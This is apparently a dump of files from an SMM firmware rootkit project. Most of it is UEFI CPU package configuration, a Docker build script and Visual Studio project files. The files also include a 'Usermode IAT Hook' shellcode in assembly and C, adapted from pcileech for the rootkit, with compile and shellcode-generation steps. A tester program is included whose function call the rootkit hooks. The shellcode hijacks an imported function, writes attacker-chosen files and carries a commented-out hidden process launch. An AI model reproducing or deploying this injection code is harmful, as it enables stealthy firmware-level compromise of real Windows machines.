# @Prompt SMM CPU hot-plug. gUefiCpuPkgTokenSpaceGuid.PcdCpuHotPlugSupport|FALSE|BOOLEAN|0x3213210C ## Indicates if SMM Debug will be enabled. # If enabled, hardware breakpoints in SMRAM can be set outside of SMM mode and take effect in SMM.

# TRUE - SMM Debug will be enabled.
# FALSE - SMM Debug will be disabled.
# @Prompt Enable SMM Debug. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmDebug|FALSE|BOOLEAN|0x1000001B ## Indicates if lock SMM Feature Control MSR.

# TRUE - SMM Feature Control MSR will be locked.
# FALSE - SMM Feature Control MSR will not be locked.
# @Prompt Lock SMM Feature Control MSR. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmFeatureControlMsrLock|TRUE|BOOLEAN|0x3213210B [PcdsFixedAtBuild] ## List of exception vectors which need switching stack. # This PCD will only take into effect if PcdCpuStackGuard is enabled. # By default exception #DD(8), #PF(14) are supported. # @Prompt Specify exception vectors which need switching stack. gUefiCpuPkgTokenSpaceGuid.PcdCpuStackSwitchExceptionList|{0x08, 0x0E}|VOID*|0x30002000 ## Size of good stack for an exception. # This PCD will only take into effect if PcdCpuStackGuard is enabled. # @Prompt Specify size of good stack of exception which need switching stack. gUefiCpuPkgTokenSpaceGuid.PcdCpuKnownGoodStackSize|2048|UINT32|0x30002001 [PcdsFixedAtBuild, PcdsPatchableInModule] ## This value is the CPU Local APIC base address, which aligns the address on a 4-KByte boundary. # @Prompt Configure base address of CPU Local APIC # @Expression 0x80000001 | (gUefiCpuPkgTokenSpaceGuid.PcdCpuLocalApicBaseAddress & 0xfff) == 0 gUefiCpuPkgTokenSpaceGuid.PcdCpuLocalApicBaseAddress|0xfee00000|UINT32|0x00000001 ## Specifies delay value in microseconds after sending out an INIT IPI. # @Prompt Configure delay value after send an INIT IPI gUefiCpuPkgTokenSpaceGuid.PcdCpuInitIpiDelayInMicroSeconds|10000|UINT32|0x30000002 ## This value specifies the Application Processor (AP) stack size, used for Mp Service, which must ## aligns the address on a 4-KByte boundary. # @Prompt Configure stack size for Application Processor (AP) gUefiCpuPkgTokenSpaceGuid.PcdCpuApStackSize|0x8000|UINT32|0x00000003 ## Specifies stack size in the temporary RAM. 0 means half of TemporaryRamSize. # @Prompt Stack size in the temporary RAM. gUefiCpuPkgTokenSpaceGuid.PcdPeiTemporaryRamStackSize|0|UINT32|0x10001003 ## Specifies buffer size in bytes to save SMM profile data. The value should be a multiple of 4KB. # @Prompt SMM profile data buffer size. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileSize|0x200000|UINT32|0x32132107 ## Specifies stack size in bytes for each processor in SMM. # @Prompt Processor stack size in SMM. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x2000|UINT32|0x32132105 ## Indicates if SMM Code Access Check is enabled. # If enabled, the SMM handler cannot execute the code outside SMM regions. # This PCD is suggested to TRUE in production image.

# TRUE - SMM Code Access Check will be enabled.
# FALSE - SMM Code Access Check will be disabled.
# @Prompt SMM Code Access Check. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmCodeAccessCheckEnable|TRUE|BOOLEAN|0x60000013 ## Specifies the number of variable MTRRs reserved for OS use. The default number of # MTRRs reserved for OS use is 2. # @Prompt Number of reserved variable MTRRs. gUefiCpuPkgTokenSpaceGuid.PcdCpuNumberOfReservedVariableMtrrs|0x2|UINT32|0x00000015 ## Specifies buffer size in bytes for STM exception stack. The value should be a multiple of 4KB. # @Prompt STM exception stack size. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStmExceptionStackSize|0x1000|UINT32|0x32132111 ## Specifies buffer size in bytes of MSEG. The value should be a multiple of 4KB. # @Prompt MSEG size. gUefiCpuPkgTokenSpaceGuid.PcdCpuMsegSize|0x200000|UINT32|0x32132112 ## Specifies the supported CPU features bit in array. # @Prompt Supported CPU features. gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesSupport|{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}|VOID*|0x00000016 ## Specifies if CPU features will be initialized after SMM relocation. # @Prompt If CPU features will be initialized after SMM relocation. gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesInitAfterSmmRelocation|FALSE|BOOLEAN|0x0000001C ## Specifies if CPU features will be initialized during S3 resume. # @Prompt If CPU features will be initialized during S3 resume. gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesInitOnS3Resume|FALSE|BOOLEAN|0x0000001D [PcdsFixedAtBuild, PcdsPatchableInModule, PcdsDynamic, PcdsDynamicEx] ## Specifies max supported number of Logical Processors. # @Prompt Configure max supported number of Logical Processors gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64|UINT32|0x00000002 ## Specifies timeout value in microseconds for the BSP to detect all APs for the first time. # @Prompt Timeout for the BSP to detect all APs for the first time. gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000|UINT32|0x00000004 ## Specifies the base address of the first microcode Patch in the microcode Region. # @Prompt Microcode Region base address. gUefiCpuPkgTokenSpaceGuid.PcdCpuMicrocodePatchAddress|0x0|UINT64|0x00000005 ## Specifies the size of the microcode Region. # @Prompt Microcode Region size. gUefiCpuPkgTokenSpaceGuid.PcdCpuMicrocodePatchRegionSize|0x0|UINT64|0x00000006 ## Specifies the AP wait loop state during POST phase. # The value is defined as below.

# 1: Place AP in the Hlt-Loop state.
# 2: Place AP in the Mwait-Loop state.
# 3: Place AP in the Run-Loop state.
# @Prompt The AP wait loop state. # @ValidRange 0x80000001 | 1 - 3 gUefiCpuPkgTokenSpaceGuid.PcdCpuApLoopMode|1|UINT8|0x60008006 ## Specifies the AP target C-state for Mwait during POST phase. # The default value 0 means C1 state. # The value is defined as below.

# @Prompt The specified AP target C-state for Mwait. gUefiCpuPkgTokenSpaceGuid.PcdCpuApTargetCstate|0|UINT8|0x00000007 ## Indicates if SMM uses static page table. # If enabled, SMM will not use on-demand paging. SMM will build static page table for all memory. # This flag only impacts X64 build, because SMM always builds static page table for IA32. # It could not be enabled at the same time with SMM profile feature (PcdCpuSmmProfileEnable). # It could not be enabled also at the same time with heap guard feature for SMM # (PcdHeapGuardPropertyMask in MdeModulePkg).

# TRUE - SMM uses static page table for all memory.
# FALSE - SMM uses static page table for below 4G memory and use on-demand paging for above 4G memory.
# @Prompt Use static page table for all memory in SMM. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStaticPageTable|FALSE|BOOLEAN|0x3213210D ## Specifies timeout value in microseconds for the BSP in SMM to wait for all APs to come into SMM. # @Prompt AP synchronization timeout value in SMM. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|1000000|UINT64|0x32132104 ## Indicates the CPU synchronization method used when processing an SMI. # 0x00 - Traditional CPU synchronization method.
# 0x01 - Relaxed CPU synchronization method.
# @Prompt SMM CPU Synchronization Method. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x00|UINT8|0x60000014 ## Specifies user's desired settings for enabling/disabling processor features. # @Prompt User settings for enabling/disabling processor features. gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesUserConfiguration|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000017 ## Specifies the On-demand clock modulation duty cycle when ACPI feature is enabled. # @Prompt The encoded values for target duty cycle modulation. # @ValidRange 0x80000001 | 0 - 15 gUefiCpuPkgTokenSpaceGuid.PcdCpuClockModulationDutyCycle|0x0|UINT8|0x0000001A ## Indicates if the current boot is a power-on reset.

# TRUE - Current boot is a power-on reset.
# FALSE - Current boot is not a power-on reset.
# @Prompt Current boot is a power-on reset. gUefiCpuPkgTokenSpaceGuid.PcdIsPowerOnReset|FALSE|BOOLEAN|0x0000001B [PcdsDynamic, PcdsDynamicEx] ## Contains the pointer to a CPU S3 data buffer of structure ACPI_CPU_DATA. # @Prompt The pointer to a CPU S3 data buffer. # @ValidList 0x80000001 | 0 gUefiCpuPkgTokenSpaceGuid.PcdCpuS3DataAddress|0x0|UINT64|0x60000010 ## Contains the pointer to a CPU Hot Plug Data structure if CPU hot-plug is supported. # @Prompt The pointer to CPU Hot Plug Data. # @ValidList 0x80000001 | 0 gUefiCpuPkgTokenSpaceGuid.PcdCpuHotPlugDataAddress|0x0|UINT64|0x60000011 ## Indicates processor feature capabilities, each bit corresponding to a specific feature. # @Prompt Processor feature capabilities. # @ValidList 0x80000001 | 0 gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesCapability|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000018 ## Specifies actual settings for processor features, each bit corresponding to a specific feature. # @Prompt Actual processor feature settings. # @ValidList 0x80000001 | 0 gUefiCpuPkgTokenSpaceGuid.PcdCpuFeaturesSetting|{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}|VOID*|0x00000019 ## Contains the size of memory required when CPU processor trace is enabled.

# Processor trace is enabled through set BIT44(CPU_FEATURE_PROC_TRACE) in PcdCpuFeaturesSetting.

# This PCD is ignored if CPU processor trace is disabled.

# Default value is 0x00 which means 4KB of memory is allocated if CPU processor trace is enabled.
# 0x0 - 4K.
# 0x1 - 8K.
# 0x2 - 16K.
# 0x3 - 32K.
# 0x4 - 64K.
# 0x5 - 128K.
# 0x6 - 256K.
# 0x7 - 512K.
# 0x8 - 1M.
# 0x9 - 2M.
# 0xA - 4M.
# 0xB - 8M.
# 0xC - 16M.
# 0xD - 32M.
# 0xE - 64M.
# 0xF - 128M.
# @Prompt The memory size used for processor trace if processor trace is enabled. # @ValidRange 0x80000001 | 0 - 0xF gUefiCpuPkgTokenSpaceGuid.PcdCpuProcTraceMemSize|0x0|UINT32|0x60000012 ## Contains the processor trace output scheme when CPU processor trace is enabled.

# Processor trace is enabled through set BIT44(CPU_FEATURE_PROC_TRACE) in PcdCpuFeaturesSetting.

# This PCD is ignored if CPU processor trace is disabled.

# Default value is 0 which means single range output scheme will be used if CPU processor trace is enabled.
# 0 - Single Range output scheme.
# 1 - ToPA(Table of physical address) scheme.
# @Prompt The processor trace output scheme used when processor trace is enabled. # @ValidRange 0x80000001 | 0 - 1 gUefiCpuPkgTokenSpaceGuid.PcdCpuProcTraceOutputScheme|0x0|UINT8|0x60000015 [UserExtensions.TianoCore."ExtraFiles"] UefiCpuPkgExtra.uni ================================================ FILE: run_docker.sh ================================================ #!/bin/bash SOURCE="${BASH_SOURCE[0]}" while [ -h "$SOURCE" ]; do # resolve $SOURCE until the file is no longer a symlink DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )" SOURCE="$(readlink "$SOURCE")" [[ $SOURCE != /* ]] && SOURCE="$DIR/$SOURCE" # if $SOURCE was a relative symlink, we need to resolve it relative to the path where the symlink file was located done DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )" # must be run as root [[ "$EUID" -ne 0 ]] && { echo "This script must be run with root privileges!"; exit 1; } docker build --no-cache -t edk-builder/edk-builder -f $DIR/Dockerfile $DIR docker run -it --privileged -v "$DIR":/root/ -u root -w /root edk-builder/edk-builder /bin/bash ================================================ FILE: shellcode/windows_x64_umd_iat/README.md ================================================ # Windows X64 Usermode IAT Hook ## Compile and use ``` cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /c /TC windows_x64_umd_iat.c ml64 windows_x64_umd_iat.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "windows_x64_umd_iat.obj" ``` To generate the shellcode for the SMM Rootkit, use the *shellcode64_win.exe* tool from the parent directory ``` shellcode64_win.exe -o windows_x64_umd_iat.exe ``` If you don't want to trust me (you should not!) and run binaries from a random hacker's repo, please download the sources and compile the shellcode-generation tool locally: https://github.com/ufrisk/shellcode64 ## Disclaimer This Windows X64 UMD IAT hooking shellcode is a modified version from Ulf Frisk's [pcileech](https://github.com/ufrisk/pcileech) (Direct Memory Access Attack Software) similar shellcode injection attack. ================================================ FILE: shellcode/windows_x64_umd_iat/windows_x64_umd_iat.asm ================================================ ; wx64_umd_exec.asm : assembly to receive execution from initial hook in user-mode shellcode (umd). ; ; (c) Ulf Frisk, 2019 ; Author: Ulf Frisk, pcileech@frizk.net ; Modified for SMM rootkit by Jussi Hietanen EXTRN c_EntryPoint:NEAR .CODE main PROC ; ---------------------------------------------------- ; 1: SAVE ORIGINAL PARAMETERS - MAX 3 PARAMS IN FNCALL ; OF HOOKED FUNCTION IS CURRENTLY SUPPORTED ... ; ---------------------------------------------------- PUSH rcx PUSH rdx PUSH r8 PUSH r9 JMP main_continue ; ---------------------------------------------------- ; 0: ADDRESS OF ORIGINAL CODE AND MAIN CONTEXT (IN RW SECTION) ; ---------------------------------------------------- addr_main_context dq 1111111111111111h ; offset 0x08 addr_orig_code dq 2222222222222222h ; offset 0x10 ; ---------------------------------------------------- ; 2: CALL MAIN SETUP CODE ; ---------------------------------------------------- main_continue: PUSH rax MOV rcx, [addr_main_context] SUB rsp, 30h CALL c_EntryPoint ADD rsp, 30h ; ---------------------------------------------------- ; 3: RESTORE AND JMP BACK ; ---------------------------------------------------- POP rax POP r9 POP r8 POP rdx POP rcx JMP [addr_orig_code] main ENDP END ================================================ FILE: shellcode/windows_x64_umd_iat/windows_x64_umd_iat.c ================================================ // wx64_umd_exec_c.c : usermode 'umd' shellcode for PCILeech for starting and // and executing a process optionally with input redirect. // NB! this feature is still 'experimental'. // // (c) Ulf Frisk, 2019 // Author: Ulf Frisk, pcileech@frizk.net // Modified for SMM rootkit by Jussi Hietanen #include typedef unsigned __int64 QWORD, *PQWORD; /* typedef struct tdUMD_EXEC_CONTEXT_LIMITED { LONG64 fCMPXCHG; CHAR fStatus; HANDLE hProcessHandle; struct { QWORD CloseHandle; QWORD CreateFileA; QWORD CreateProcessA; QWORD CreateThread; QWORD GetExitCodeProcess; QWORD ReadFile; QWORD WriteFile; QWORD LocalAlloc; } fn; CHAR szString1[100]; CHAR szString2[100]; } UMD_EXEC_CONTEXT_LIMITED, *PUMD_EXEC_CONTEXT_LIMITED; */ typedef struct tdUMD_EXEC_CONTEXT_FULL { LONG64 fCMPXCHG; CHAR fStatus; HANDLE hProcessHandle; // for future implementations maybe struct { BOOL(*CloseHandle)( HANDLE hObject ); HANDLE(*CreateFileA)( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); BOOL(*CreateProcessA)( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); HANDLE(*CreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); BOOL(*GetExitCodeProcess)( HANDLE hProcess, LPDWORD lpExitCode ); BOOL(*ReadFile)( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped ); BOOL(*WriteFile)( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); HLOCAL(*LocalAlloc)( UINT uFlags, SIZE_T uBytes ); } fn; CHAR szString1[100]; CHAR szString2[100]; } UMD_EXEC_CONTEXT_FULL, *PUMD_EXEC_CONTEXT_FULL; VOID c_EntryPoint(PUMD_EXEC_CONTEXT_FULL ctx) { // no function addresses -> invalid context! if(!ctx->fn.CloseHandle) { return; } // // File creation example // HANDLE filee = ctx->fn.CreateFileA(ctx->szString1, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(filee == INVALID_HANDLE_VALUE) { return; } ctx->fn.WriteFile(filee, ctx->szString2, 16, NULL, NULL); ctx->fn.CloseHandle(filee); /* // Process creation example // LPSTARTUPINFO psi = ctx->fn.LocalAlloc(LMEM_ZEROINIT, sizeof(STARTUPINFO)); PROCESS_INFORMATION pi; // set up data psi->cb = sizeof(STARTUPINFO); psi->dwFlags = STARTF_USESTDHANDLES; // launch executable with CREATE_NO_WINDOW as Process Creation Flags ctx->fn.CreateProcessA(NULL, ctx->szString1, NULL, NULL, TRUE, 0x08000000, NULL, NULL, psi, &pi) */ ctx->fStatus = 0xff; return; } ================================================ FILE: target_tests/windows_x64_umd_iat/.gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. ## ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore # User-specific files *.rsuser *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Build results [Dd]ebug/ [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ [Aa][Rr][Mm]/ [Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Ll]og/ # Visual Studio 2015/2017 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # Visual Studio 2017 auto generated files Generated\ Files/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUNIT *.VisualState.xml TestResult.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # Benchmark Results BenchmarkDotNet.Artifacts/ # .NET Core project.lock.json project.fragment.lock.json artifacts/ # StyleCop StyleCopReport.xml # Files built by Visual Studio *_i.c *_p.c *_h.h *.ilk *.meta *.obj *.iobj *.pch *.pdb *.ipdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *_wpftmp.csproj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # Visual Studio Trace Files *.e2e # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # JustCode is a .NET coding add-in .JustCode # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # AxoCover is a Code Coverage Tool .axoCover/* !.axoCover/settings.json # Visual Studio code coverage results *.coverage *.coveragexml # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, # but database connection strings (with potential passwords) will be unencrypted *.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. !**/[Pp]ackages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/[Pp]ackages/repositories.config # NuGet v3's project.json files produces more ignorable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !?*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm *.pfx *.publishsettings orleans.codegen.cs # Including strong name files can present a security risk # (https://github.com/github/gitignore/pull/2483#issue-259490424) #*.snk # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm ServiceFabricBackup/ *.rptproj.bak # SQL Server files *.mdf *.ldf *.ndf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings *.rptproj.rsuser *- Backup*.rdl # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat node_modules/ # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) *.vbw # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # JetBrains Rider .idea/ *.sln.iml # CodeRush personal settings .cr/personal # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc # Cake - Uncomment if you are using it # tools/** # !tools/packages.config # Tabs Studio *.tss # Telerik's JustMock configuration file *.jmconfig # BizTalk build output *.btp.cs *.btm.cs *.odx.cs *.xsd.cs # OpenCover UI analysis results OpenCover/ # Azure Stream Analytics local run output ASALocalRun/ # MSBuild Binary and Structured Log *.binlog # NVidia Nsight GPU debugger configuration file *.nvuser # MFractors (Xamarin productivity tool) working folder .mfractor/ # Local History for Visual Studio .localhistory/ # BeatPulse healthcheck temp database healthchecksdb ================================================ FILE: target_tests/windows_x64_umd_iat/README.md ================================================ # Tester program for Windows X64 Usermode IAT Hook This program is a tester program for the IAT hook shellcode. It calls `GetCurrentProcessId()` every time enter is pressed inside the console. By default, `GetCurrentProcessId()` is also hooked from the SMM driver. To compile it, you need Visual Studio with C/C++ tools installed. **Compile with Debug & x64**. If you don't compile it with debug option, the rootkit may not find a codecave to write the shellcode! Also run this program as administrator on the target machine! ================================================ FILE: target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.cpp ================================================ // windows_x64_umd_iat.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include int main() { std::string a; while (std::cin >> a) { std::cout << "Process id is: " << GetCurrentProcessId() << std::endl; } } ================================================ FILE: target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734} Win32Proj windowsx64umdiat 10.0 Application true v142 Unicode Application false v142 true Unicode Application true v142 Unicode Application false v142 true Unicode true true false false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ================================================ FILE: target_tests/windows_x64_umd_iat/windows_x64_umd_iat/windows_x64_umd_iat.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files ================================================ FILE: target_tests/windows_x64_umd_iat/windows_x64_umd_iat.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29613.14 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "windows_x64_umd_iat", "windows_x64_umd_iat\windows_x64_umd_iat.vcxproj", "{816184DA-F1C3-4B2D-AA5D-E53D36E3F734}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x64.ActiveCfg = Debug|x64 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x64.Build.0 = Debug|x64 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x86.ActiveCfg = Debug|Win32 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Debug|x86.Build.0 = Debug|Win32 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x64.ActiveCfg = Release|x64 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x64.Build.0 = Release|x64 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x86.ActiveCfg = Release|Win32 {816184DA-F1C3-4B2D-AA5D-E53D36E3F734}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {07E6035F-FE5A-4588-A28B-FA5C0400AA9B} EndGlobalSection EndGlobal